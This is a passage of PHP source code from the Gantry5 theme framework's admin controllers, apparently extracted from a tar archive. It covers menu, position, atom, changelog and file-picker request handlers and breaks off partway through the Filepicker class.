$this->container['particles']->get($name));

        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        // Create configuration from the defaults.
        $data = new Config([],
            function () use ($validator) {
                return $validator;
            }
        );

        $data->set('type', 'particle');
        $data->set('particle', $name);
        $data->set('title',
$this->request->post['title'] ?:
$blueprints->post['name']);
        $data->set('options.particle',
$this->request->post->getArray("particles.{$name}"));
        $data->def('options.particle.enabled', 1);
        $data->set('enabled',
$data->get('options.particle.enabled'));

        $block =
$this->request->post->getArray('block');
        foreach ($block as $key => $param) {
            if ($param === '') {
                unset($block[$key]);
            }
        }

        $data->join('options.block', $block);

        // TODO: validate

        // Fill parameters to be passed to the template file.
        $this->params['item'] = (object) $data->toArray();

        $html =
$this->render('@gantry-admin/menu/item.html.twig',
$this->params);

        return new JsonResponse(['item' =>
$data->toArray(), 'html' => $html]);
    }

    public function selectModule()
    {
        return
$this->render('@gantry-admin/modals/module-picker.html.twig',
$this->params);
    }

    public function selectWidget()
    {
        $this->params['next'] = 'menu/widget';

        return
$this->render('@gantry-admin/modals/widget-picker.html.twig',
$this->params);
    }

    public function widget()
    {
        $data = $this->request->post->getJson('item');
        $path = [$data->widget];
        $this->params['scope'] = 'menu';

        return $this->executeForward('widget',
'POST', $path, $this->params);
    }

    public function selectParticle()
    {
        $groups = [
            'Particles' => ['particle' => []],
        ];

        $particles = [
            'position'    => [],
            'spacer'      => [],
            'system'      => [],
            'particle'    => [],
        ];

        $particles = array_replace($particles, $this->getParticles());
        unset($particles['atom'],
$particles['position']);

        foreach ($particles as &$group) {
            asort($group);
        }

        foreach ($groups as $section => $children) {
            foreach ($children as $key => $child) {
                $groups[$section][$key] = $particles[$key];
            }
        }

        $this->params += [
            'particles' => $groups,
            'route' => 'menu/particle',
        ];

        return
$this->render('@gantry-admin/modals/particle-picker.html.twig',
$this->params);
    }

    public function validate($id)
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        // Load particle blueprints and default settings.
        $validator = $this->loadBlueprints('menu');
        $callable = function () use ($validator) {
            return $validator;
        };

        // Create configuration from the defaults.
        $data = new Config($this->request->post->getArray(),
$callable);

        // TODO: validate

        return new JsonResponse(['settings' => (array)
$data->get('settings')]);
    }

    public function validateitem($id)
    {
        // All extra arguments become the path.
        $path = array_slice(func_get_args(), 1);

        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        // Load the menu.
        $resource = $this->loadResource($id);

        // Load particle blueprints and default settings.
        $validator = $this->loadBlueprints('menuitem');
        $callable = function () use ($validator) {
            return $validator;
        };

        // Create configuration from the defaults.
        $data = new Config($this->request->post->getArray(),
$callable);

        // TODO: validate

        $item = $resource[implode('/', $path)];
        $item->update($data->toArray());

        // Fill parameters to be passed to the template file.
        $this->params['id'] = $resource->name();
        $this->params['item'] = $item;
        $this->params['group'] = isset($group) ? $group :
$resource[implode('/', array_slice($path, 0, 2))]->group;

        if (!$item->title) {
            throw new \RuntimeException('Title from the Menu Item
should not be empty', 400);
        }

        $html =
$this->render('@gantry-admin/menu/item.html.twig',
$this->params);

        return new JsonResponse(['path' =>
implode('/', $path), 'item' => $data->toArray(),
'html' => $html]);
    }

    protected function layoutName($level)
    {
        switch ($level) {
            case 0:
                return 'base';
            case 1:
                return 'columns';
            default:
                return 'list';
        }
    }

    /**
     * Load resource.
     *
     * @param string $id
     * @param Config $config
     *
     * @return \Gantry\Component\Menu\AbstractMenu
     * @throws \RuntimeException
     */
    protected function loadResource($id, Config $config = null)
    {
        /** @var MenuObject $menus */
        $menus = $this->container['menu'];

        return $menus->instance(['menu' => $id,
'admin' => true], $config);
    }

    /**
     * Load blueprints.
     *
     * @param string $name
     *
     * @return BlueprintForm
     */
    protected function loadBlueprints($name = 'menu')
    {
        return BlueprintForm::instance("menu/{$name}.yaml",
'gantry-admin://blueprints');
    }


    public function build(Input $input)
    {
        try {
            $items = $input->get('items');
            if ($items && $items[0] !== '{' &&
$items[0] !== '[') {
                $items = urldecode((string)base64_decode($items));
            }
            $items = json_decode($items, true);

            $settings = $input->getJsonArray('settings');
            $order = $input->getJsonArray('ordering');
        } catch (\Exception $e) {
            throw new \RuntimeException('Invalid menu structure',
400);
        }

        if (!$items && !$settings && !$order) {
            return null;
        }


        krsort($order);
        $ordering = ['' => []];
        foreach ($order as $path => $columns) {
            foreach ($columns as $column => $colitems) {
                $list = [];
                foreach ($colitems as $item) {
                    $name = trim(substr($item, strlen($path)),
'/');
                    if (isset($ordering[$item])) {
                        $list[$name] = $ordering[$item];
                        unset($ordering[$item]);
                    } else {
                        $list[$name] = '';
                    }
                }
                if (count($columns) > 1) {
                    $ordering[$path][$column] = $list;
                } else {
                    $ordering[$path] = $list;
                }
            }
        }

        $data = new Config([]);
        $data->set('settings', $settings);
        $data->set('ordering', $ordering['']);
        $data->set('items', $items);

        return $data;
    }

    protected function getParticles()
    {
        $particles = $this->container['particles']->all();

        $list = [];
        foreach ($particles as $name => $particle) {
            $type = isset($particle['type']) ?
$particle['type'] : 'particle';
            $particleName = isset($particle['name']) ?
$particle['name'] : $name;
            $particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
            $list[$type][$name] = ['name' => $particleName,
'icon' => $particleIcon];
        }

        return $list;
    }

    protected function executeForward($resource, $method = 'GET',
$path, $params = [])
    {
        $class = '\\Gantry\\Admin\\Controller\\Json\\' .
strtr(ucwords(strtr($resource, '/', ' ')), '
', '\\');
        if (!class_exists($class)) {
            throw new \RuntimeException('Page not found', 404);
        }

        /** @var HtmlController $controller */
        $controller = new $class($this->container);

        // Execute action.
        $response = $controller->execute($method, $path, $params);

        if (!$response instanceof Response) {
            $response = new HtmlResponse($response);
        }

        return $response;
    }
}
Gantry/Admin/Controller/Html/Positions.php000064400000025265151157471010014603
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\Position\Module;
use Gantry\Component\Position\Position;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Assignments;
use Gantry\Framework\Positions as PositionsObject;

class Positions extends HtmlController
{
    protected $httpVerbs = [
        'GET' => [
            '/'                   => 'index',
            '/*'                  => 'undefined',
            '/*/add'              =>
'selectParticle',
        ],
        'POST' => [
            '/'                   => 'save',
            '/create'             => 'create',
            '/*'                  => 'undefined',
            '/*/rename'           => 'rename',
            '/*/duplicate'        => 'duplicate',
            '/*/delete'           => 'delete',
            '/*/edit'             => 'undefined',
            '/*/edit/particle'    => 'particle',
            '/*/edit/particle/*'  =>
'validateParticle',
            '/edit'               => 'undefined',
            '/edit/particle'      => 'particle',
        ]
    ];

    public function index()
    {
        $this->params['positions'] =
$this->container['positions'];

        return
$this->render('@gantry-admin/pages/positions/positions.html.twig',
$this->params);
    }

    public function create()
    {
        // Create only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        /** @var PositionsObject $position */
        $positions = $this->container['positions'];

        $title = (string)
$this->request->post->get('title',
'Untitled');
        $key = (string) $this->request->post['key'];

        $id = $positions->create($title, $key);

        $html =
$this->render('@gantry-admin/layouts/position.html.twig',
['position' => ['name' => $id, 'title'
=> $title]]);

        return new JsonResponse(['html' =>
sprintf("Position '%s' created.", $id), 'id'
=> "position-{$id}", 'key' => $id,
'position' => $html]);
    }

    public function rename($old)
    {
        // Rename only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        $title = (string) $this->request->post['title'];
        $key = (string) $this->request->post['key'];
        $data = (string) $this->request->post['data'];

        /** @var PositionsObject $positions */
        $positions = $this->container['positions'];
        $position = $positions[$old];
        $exists = isset($position);

        if (!$exists) {
            if (!$data) {
                throw new \RuntimeException(sprintf("Position
'%s' not found", $old), 404);
            }

            $position = new Position($key ?: $old);
        }

        if (strlen($title)) {
            $position->title = (string) $title;
        }
        if ($exists && strlen($key)) {
            $position = $position->rename($key);
        } else {
            $position->save();
        }

        if ($data) {
            $data = ['title' => $position->title] +
json_decode($data, true);

            $position = new Position($position->name, $data);
        }

        $html =
$this->render('@gantry-admin/layouts/position.html.twig',
['position' => $position]);

        return new JsonResponse(['html' =>
sprintf("Position saved"), 'id' =>
"position-{$position->name}", 'key' =>
$position->name, 'position' => $html]);
    }

    public function duplicate($position)
    {
        // Duplicate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        /** @var PositionsObject $positions */
        $positions = $this->container['positions'];

        $id = $positions->duplicate($position);

        return new JsonResponse(['html' =>
sprintf("Position duplicated as '%s'.", $id)]);
    }

    public function delete($position)
    {
        // Delete only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        /** @var PositionsObject $positions */
        $positions = $this->container['positions'];

        $positions->delete($position);

        return new JsonResponse(['html' =>
sprintf("Position '%s' deleted.", $position),
'position' => $position]);
    }

    public function save()
    {
        // Save only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        $data =
$this->request->post->getJsonArray('positions');

        /** @var PositionsObject $position */
        $positions = $this->container['positions'];
        $positions->import($data);

        return new JsonResponse(['html' =>
sprintf("Positions saved.")]);
    }

    public function particle($position = null)
    {
        if (!$position) {
            $position = $this->request->post['position'];
        }
        $data = $this->request->post['item'];
        if ($data) {
            $data = json_decode($data, true);
        } else {
            $data = $this->request->post->getArray();
        }
        $name = isset($data['options']['type']) ?
$data['options']['type'] :
(isset($data['particle']) ? $data['particle'] : null);

        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        $chromeBlueprints =
BlueprintForm::instance('position/chrome.yaml',
'gantry-admin://blueprints');

        $data['title'] = isset($data['title']) ?
$data['title'] : $blueprints['name'];
        $data['chrome'] = isset($data['chrome']) ?
$data['chrome'] : [];
        $data['options'] = isset($data['options']) ?
$data['options'] : [];
        $data['options']['type'] = $name;
        $attributes =
isset($data['options']['attributes']) ?
$data['options']['attributes'] : [];
        $assignments = new Assignments();

        $this->params += [
            'item'          => $data,
            'data'          => [
                'particles' => [$name => $attributes],
                'chrome'    => $data['chrome'],
                'assignments' =>
isset($data['assignments']) ? $data['assignments'] :
'all'
            ],
            'particle'      => $blueprints,
            'chrome'        => $chromeBlueprints,
            'assignments'   => $assignments->get(),
            'parent'        => 'settings',
            'prefix'        => "particles.{$name}.",
            'route'         =>
"configurations.default.settings",
            'action'        =>
"positions/{$position}/edit/particle/{$name}"
        ];

        return
$this->render('@gantry-admin/pages/positions/particle.html.twig',
$this->params);
    }


    public function validateParticle($position, $name)
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        if (!$this->request->post->get('_end')) {
            throw new \OverflowException("Incomplete data received.
Please increase the value of 'max_input_vars' variable (in
php.ini or .htaccess)", 400);
        }

        // Load particle blueprints and default settings.
        $validator = new BlueprintSchema;
        $validator->embed('options',
$this->container['particles']->get($name));

        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        // Create configuration from the defaults.
        $data = new Config([],
            function () use ($validator) {
                return $validator;
            }
        );

        $data->set('position', $position);
        $data->set('id', $id =
$this->request->post['id']);
        $data->set('type', 'particle');
        $data->set('title',
$this->request->post['title'] ?:
$blueprints->post['name']);
        $data->set('chrome',
$this->request->post->getArray('chrome'));
        $data->set('options.type', $name);
        $data->set('options.attributes',
$this->request->post->getArray("particles.{$name}"));
        $data->def('options.attributes.enabled', 1);

        $assignments = (new
Assignments())->filter($this->request->post->getArray('assignments'),
true);

        if (!$assignments) {
            // Use special syntax for no assignments.
            $assignments = 'none';
        } elseif ($assignments === ['page' => [true]]) {
            // Use special syntax for assigned to all pages. This is a
special case and hardcoded for now.
            $assignments = 'all';
        }

        $data->set('assignments', $assignments);

        // TODO: validate

        // Fill parameters to be passed to the template file.
        $this->params['position'] = $position;
        $this->params['item'] = (object) $data->toArray();
        $this->params['module'] = new Module($id, $position,
$data->toArray());

        $html =
$this->render('@gantry-admin/pages/positions/item.html.twig',
$this->params);

        return new JsonResponse(['item' =>
$data->toArray(), 'html' => $html, 'position'
=> $position]);
    }

    public function selectParticle($position)
    {
        $groups = [
            'Particles' => ['particle' => []],
        ];

        $particles = [
            'position'    => [],
            'spacer'      => [],
            'system'      => [],
            'particle'    => [],
        ];

        $particles = array_replace($particles, $this->getParticles());
        unset($particles['atom'],
$particles['position']);

        foreach ($particles as &$group) {
            asort($group);
        }

        foreach ($groups as $section => $children) {
            foreach ($children as $key => $child) {
                $groups[$section][$key] = $particles[$key];
            }
        }

        $this->params += [
            'particles' => $groups,
            'route' =>
"positions/{$position}/edit/particle",
        ];

        return
$this->render('@gantry-admin/modals/particle-picker.html.twig',
$this->params);
    }

    protected function getParticles()
    {
        $particles = $this->container['particles']->all();

        $list = [];
        foreach ($particles as $name => $particle) {
            $type = isset($particle['type']) ?
$particle['type'] : 'particle';
            $particleName = isset($particle['name']) ?
$particle['name'] : $name;
            $particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
            $list[$type][$name] = ['name' => $particleName,
'icon' => $particleIcon];
        }

        return $list;
    }
}
Gantry/Admin/Controller/Html/Themes.php000064400000001321151157471010014024
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Admin\ThemeList;
use Gantry\Component\Admin\HtmlController;

class Themes extends HtmlController
{
    public function index()
    {
        $this->params['themes'] = (new
ThemeList)->getThemes();

        return
$this->render('@gantry-admin/pages/themes/themes.html.twig',
$this->params);
    }
}
Gantry/Admin/Controller/Json/Atoms.php000064400000013066151157471010013700
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;

/**
 * Class Atoms
 * @package Gantry\Admin\Controller\Json
 */
class Atoms extends JsonController
{
    protected $httpVerbs = [
        'GET' => [
            '/' => 'index',
            '/*' => 'index',
            '/instance' => 'atom'
        ],
        'POST' => [
            '/' => 'index',
            '/*' => 'index',
            '/instance' => 'atom'
        ]
    ];
    
    public function index()
    {
        $path = implode('/', func_get_args());

        $post = $this->request->request;

        $outline = $post['outline'];
        $type = $post['subtype'];
        $inherit = $post['inherit'];
        $id = $post['id'];

        if (!$outline) {
            throw new \RuntimeException('Outline not given',
400);
        }

        $this->container['outline'] = $outline;
        $this->container['configuration'] = $outline;

        $atoms = new \Gantry\Framework\Atoms((array)
$this->container['config']->get('page.head.atoms'));
        if ($inherit) {
            $atoms->inheritAll($outline);
        }

        $item = (object) $atoms->id($id);

        if ($path === 'list') {
            $list = $atoms->type($type);
            if (empty($item->id)) {
                $item = (object)reset($list);
            }
        }
        $selected = !empty($item->id) ? $item->id : null;

        $type = isset($item->type) ? $item->type : $type;
        $item->attributes = isset($item->attributes) ? (array)
$item->attributes : [];

        $blueprints =
$this->container['particles']->getBlueprintForm($type);
        $blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);

        $params = [
            'gantry'        => $this->container,
            'parent'        => 'settings',
            'route'         =>
"configurations.{$outline}.settings",
            'inherit'       => $inherit ? $outline : null,
            'title'         => isset($item->title) ?
$item->title : '',
            'blueprints'    =>
$blueprints->get('form'),
            'item'          => $item,
            'data'          => ['particles' =>
[$type => $item->attributes]],
            'prefix'        => "particles.{$type}.",
            'editable'      => true,
            'overrideable'  => false,
            'skip'          => ['enabled']
        ];

        $html['g-settings-atom'] =
$this->render('@gantry-admin/pages/configurations/layouts/particle-card.html.twig',
 $params);
        if (isset($list)) {
            $html['g-inherit-atom'] =
$this->renderAtomsInput($inherit ? $outline : null, $type, $selected,
$list);
        }

        return new JsonResponse(['json' => $item,
'html' => $html]);
    }

    public function atom()
    {
        $post = $this->request->request;

        $outline = $post['outline'];
        $id = $post['id'];

        if (!$outline) {
            throw new \RuntimeException('Outline not given',
400);
        }

        $this->container['outline'] = $outline;
        $this->container['configuration'] = $outline;

        $atoms = new \Gantry\Framework\Atoms((array)
$this->container['config']->get('page.head.atoms'));
        $item = (object) $atoms->id($id);
        if (empty($item->id)) {
            throw new \RuntimeException('Atom was not found from the
outline', 404);
        }

        $name = $item->type;

        $prefix = "particles.{$name}";

        $blueprints =
$this->container['particles']->getBlueprintForm($name);
        $blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);

        $item->attributes = isset($item->attributes) ? (array)
$item->attributes : [];

        $this->params['id'] = $name;
        $this->params += [
            'item'          => $item,
            'data'          => ['particles' =>
[$name => $item->attributes]],
            'prefix'        => "particles.{$name}.",
            'particle'      => $blueprints,
            'parent'        => 'settings',
            'route'         =>
"configurations.{$outline}.settings",
            'action'        => str_replace('.',
'/', 'configurations.' . $outline .
'.layout.' . $prefix . '.validate'),
            'skip'          => ['enabled'],
            'editable'      => false,
            'overrideable'  => false,
        ];

        $html =
$this->render('@gantry-admin/modals/atom-preview.html.twig',
$this->params);

        return new JsonResponse(['html' => $html]);
    }

    /**
     * Render input field for particle picker.
     *
     * @param string $outline
     * @param string $type
     * @param string $selected
     * @param array $instances
     * @return string
     */
    protected function renderAtomsInput($outline, $type, $selected, array
$instances)
    {
        $params = [
            'layout' => 'input',
            'scope' => 'inherit.',
            'field' => [
                'name' => 'atom',
                'type' => 'gantry.atoms',
                'id' => 'g-inherit-atom',
                'outline' => $outline,
                'atoms' => $instances,
                'atom' => $type
            ],
            'value' => $selected
        ];

        return
$this->render('@gantry-admin/forms/fields/gantry/atoms.html.twig',
$params);
    }
}
Gantry/Admin/Controller/Json/Changelog.php000064400000005746151157471010014512
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Remote\Response as RemoteResponse;
use Gantry\Component\Response\JsonResponse;

class Changelog extends JsonController
{
    protected $url =
'https://raw.githubusercontent.com/gantry/gantry5';
    protected $fullurl =
'https://github.com/gantry/gantry5/blob/develop';
    protected $issues =
'https://github.com/gantry/gantry5/issues';
    protected $contrib = 'https://github.com';
    protected $file = 'CHANGELOG.md';

    protected $platforms = ['common' => 'share-alt',
'joomla' => '', 'wordpress' =>
'', 'grav' => ''];

    protected $httpVerbs = [
        'POST' => [
            '/' => 'index'
        ]
    ];

    public function index()
    {
        $version = $this->request->post['version'];
        $lookup = $version;
        
        if ($version == '@version@') {
            $version = 'develop';
            $lookup  = '';
        }

        if (substr($version, 0, 4) == 'dev-') {
            $version = preg_replace('/^dev-/i', '',
$version);
            $lookup  = '';
        }

        $url       = $this->url . '/' . $version .
'/' . $this->file;
        $changelog = RemoteResponse::get($url);

        if ($changelog) {
            $found = preg_match("/(#\\s" . $lookup .
".+?\\n.*?)(?=\\n{1,}#|$)/uis", $changelog, $changelog);

            if ($found) {
                $changelog =
\Parsedown::instance()->parse($changelog[0]);

                // auto-link issues
                $changelog = preg_replace("/#(\\d{1,})/uis",
'<a target="_blank" rel="noopener"
href="' . $this->issues .
'/$1">#$1</a>', $changelog);

                // auto-link contributors
                $changelog = preg_replace("/@([\\w]+)[^\\w]/uis",
'<a target="_blank" rel="noopener"
href="' . $this->contrib . '/$1">@$1</a>
', $changelog);

                // add icons for platforms
                foreach($this->platforms as $platform => $icon) {
                    $changelog = preg_replace('/(<a
href="\#' . $platform . '">)/uis',
'$1<i class="fa fa-' . ($icon ?: $platform) .
'" aria-hidden="true"></i> ',
$changelog);
                }
            } else {
                $changelog = 'No changelog for version
<strong>' . $version . '</strong> was found.';
            }
        }

        $response = [
            'html' =>
$this->render('@gantry-admin/ajax/changelog.html.twig', [
                'changelog' => $changelog,
                'version'   => $version,
                'url'       => $url,
                'fullurl'   => $this->fullurl .
'/' . $this->file
            ])
        ];

        return new JsonResponse($response);
    }
}
Gantry/Admin/Controller/Json/Confirmdeletion.php000064400000001631151157471010015731
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;

class Confirmdeletion extends JsonController
{
    protected $httpVerbs = [
        'GET' => [
            '/' => 'index'
        ]
    ];

    public function index()
    {
        $pageType =
$this->request->get->get('page_type',
'OUTLINE');
        $response = ['html' =>
$this->render('@gantry-admin/ajax/confirm-deletion.html.twig',
['page_type' => $pageType])];

        return new JsonResponse($response);
    }
}
Gantry/Admin/Controller/Json/Devprod.php000064400000002275151157471010014220
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
use RocketTheme\Toolbox\Event\Event;

class Devprod extends JsonController
{
    public function store()
    {
        $production =
intval((bool)$this->request->post['mode']);

        // Fire save event.
        $event = new Event;
        $event->gantry = $this->container;
        $event->controller = $this;
        $event->data = ['production' => $production];

        $this->container->fireEvent('admin.global.save',
$event);

        $response = [
            'mode' => $production,
            'title' => $production ? 'Production' :
'Development',
            'html' => $production ? 'Production mode
enabled' : 'Development mode enabled',
        ];
        return new JsonResponse($response);
    }
}
Gantry/Admin/Controller/Json/Filepicker.php000064400000037254151157471010014677
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Response\JsonResponse;
use RocketTheme\Toolbox\File\File;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;


class Filepicker extends JsonController
{
    protected $base = false;
    protected $value = false;
    protected $filter = false;
    protected $httpVerbs = [
        'GET'    => [
            '/'            => 'index',
            '/*'           => 'index',
            '/display'     => 'undefined',
            '/display/**'  => 'displayFile',
            '/download'    => 'undefined',
            '/download/**' => 'downloadFile',
        ],
        'POST'   => [
            '/'            => 'index',
            '/*'           => 'index',
            '/subfolder'   => 'subfolder',
            '/subfolder/*' => 'subfolder',
            '/upload'      => 'undefined',
            '/upload/**'   => 'upload'
        ],
        'DELETE' => [
            '/'   => 'undefined',
            '/**' => 'delete'
        ]
    ];

    public function index()
    {
        /** @var UniformResourceLocator $locator */
        $locator   = $this->container['locator'];
        $bookmarks = [];
        $drives    = ['/'];
        $subfolder = false;

        $this->base = $locator->base;

        if ($this->method == 'POST') {
            $root         = $this->request->post['root'];
            $drives       = isset($root) ? ($root !== 'false' ?
(array) $root : ['/']) : ['/'];
            $subfolder    =
$this->request->post['subfolder'] ? true : false;
            $filter       = $this->request->post['filter'];
            $this->filter = isset($filter) ? ($filter !==
'false' ? $filter : false) : false;
            $this->value  =
$this->request->post['value'] ?: '';
        }

        foreach ($drives as $drive) {
            // cleanup of the path so it's chrooted.
            $drive  = str_replace('..', '', $drive);

            $isStream = $locator->isStream($drive);
            $path     = rtrim($this->base, '/') .
'/' . ltrim($drive, '/');

            // It's a stream but the scheme doesn't exist. we
skip it.
            if (!$isStream && (strpos($drive, '://') ||
!file_exists($path))) {
                continue;
            }

            if ($isStream && !$locator->findResources($drive)) {
                continue;
            }

            $key = $isStream ? $drive : preg_replace('#/{2,}+#',
'/', $drive);

            if (!array_key_exists($key, $bookmarks)) {
                $bookmarks[$key] = $isStream
                    ? [$locator->getIterator($drive)]
                    : [rtrim(Folder::getRelativePath($path), '/')
. '/'];
            }
        }

        if (!count($bookmarks)) {
            throw new \RuntimeException(sprintf('%s "%s" not
found', count($drives) > 1 ? 'directories' :
'directory', implode('", "', $drives)), 404);
        }

        $folders = [];
        $active  = [];

        $index = 0;
        $activeFallback = '';

        // iterating the folder and collecting subfolders and files
        foreach ($bookmarks as $key => $bookmark) {
            $folders[$key] = [];

            if (!$index) {
                $activeFallback = $key;
            }

            foreach ($bookmark as $folder) {
                $isStream = $this->isStream($folder);

                if ($isStream) {
                    unset($bookmarks[$key]);
                    $iterator = new \IteratorIterator($folder);
                    $folder   = $key;
                } else {
                    $iterator = new \DirectoryIterator($this->base .
'/' . ltrim($folder, '/'));
                }

                $folders[$key][$folder] = new \ArrayObject();
                if (!$index && !$this->value) {
                    $active[] = $folder;
                }

                /** @var \SplFileInfo $info */
                foreach ($iterator as $info) {
                    // no dot files nor files beginning with dot
                    if ($info->isDot() ||
substr($info->getFilename(), 0, 1) == '.') {
                        continue;
                    }

                    $file = new \stdClass();
                    $this->attachData($file, $info, $folder);

                    if ($file->dir) {
                        if ($file->pathname == dirname($this->value))
{
                            $active[] = $file->pathname;
                        }

                        $folders[$key][$folder]->append($file);
                    } else {
                        /*if ($filter && !preg_match("/"
. $filter . "/i", $file->filename)) {
                            continue;
                        }
                        if ((!$index && !$this->value) ||
(in_array(dirname($file->pathname), $active))) {
                            $files->append($file);
                        }*/
                    }
                }

                if ($isStream) {
                    $bookmarks[$key][] = $key;
                }

                $index++;
            }
        }

        if (!count($active)) {
            $active[] = $activeFallback;
        }

        $lastItem = end($active);
        $files    = $this->listFiles($lastItem);
        $response = [];

        reset($active);
        if (!$subfolder) {
            $response['html'] = $this->render(
                '@gantry-admin/ajax/filepicker.html.twig', [
                    'active'    => $active,
                    'base'      => $this->base,
                    'bookmarks' => $bookmarks,
                    'folders'   => $folders,
                    'files'     => $files,
                    'filter'    => $this->filter,
                    'value'     => $this->value
                ]
            );
        } else {
            $response['subfolder'] =
!$folders[$key][$folder]->count()
                ? false
                : $this->render(
                   
'@gantry-admin/ajax/filepicker/subfolders.html.twig',
                    ['folder' => $folders[$key][$folder]]
                );
            $response['files']     = $this->render(
                '@gantry-admin/ajax/filepicker/files.html.twig',
                ['files' => $files, 'value' =>
$this->value]
            );
        }

        return new JsonResponse($response);
    }

    protected function attachData(&$node, $iteration, $folder)
    {
        foreach (
            ['getFilename', 'getExtension',
'getPerms', 'getMTime', 'getBasename',
'getPathname', 'getSize', 'getType',
'isReadable', 'isWritable',
             'isDir', 'isFile'] as $method
        ) {
            $keyMethod          =
strtolower(preg_replace("/^(is|get)/", '', $method));
            $node->{$keyMethod} = $iteration->{$method}();

            if ($method == 'getPathname') {
                $node->{$keyMethod} = $this->isStream($folder) ?
$iteration->getUrl() : Folder::getRelativePath($node->{$keyMethod});
            } else {
                if ($method == 'getExtension') {
                    $node->isImage =
in_array(strtolower($node->{$keyMethod}), ['jpg',
'jpeg', 'png', 'gif', 'ico',
'svg', 'bmp', 'webp']);
                }
            }
        }

    }

    protected function listFiles($folder)
    {
        $isStream = $this->isStream($folder);
        $locator  = $this->container['locator'];
        $iterator = $isStream ? new
\IteratorIterator($locator->getIterator($folder)) : new
\DirectoryIterator($this->base . '/' . ltrim($folder,
'/'));
        $files    = new \ArrayObject();

        /** @var \SplFileInfo $info */
        foreach ($iterator as $info) {
            // no dot files nor files beginning with dot
            if ($info->isDot() || substr($info->getFilename(), 0, 1)
== '.') {
                continue;
            }

            $file = new \stdClass();
            $this->attachData($file, $info, $folder);

            if (!$file->dir) {
                if ($this->filter && !preg_match("/" .
$this->filter . "/i", $file->filename)) {
                    continue;
                }

                $file->isInCustom = false;

                if ($isStream) {
                    $stream         = explode('://', $folder);
                    $stream         = array_shift($stream) .
'://';
                    $customLocation = $locator->findResource($stream,
true, true);
                    if (substr($info->getPathname(), 0,
strlen($customLocation)) === $customLocation) {
                        $file->isInCustom = true;
                    }
                }


                $files->append($file);
            }
        }

        $files->asort();
        return $files;

    }

    public function subfolder()
    {
        $response         = [];
        $response['html'] = 'subfolder';

        return new JsonResponse($response);

    }

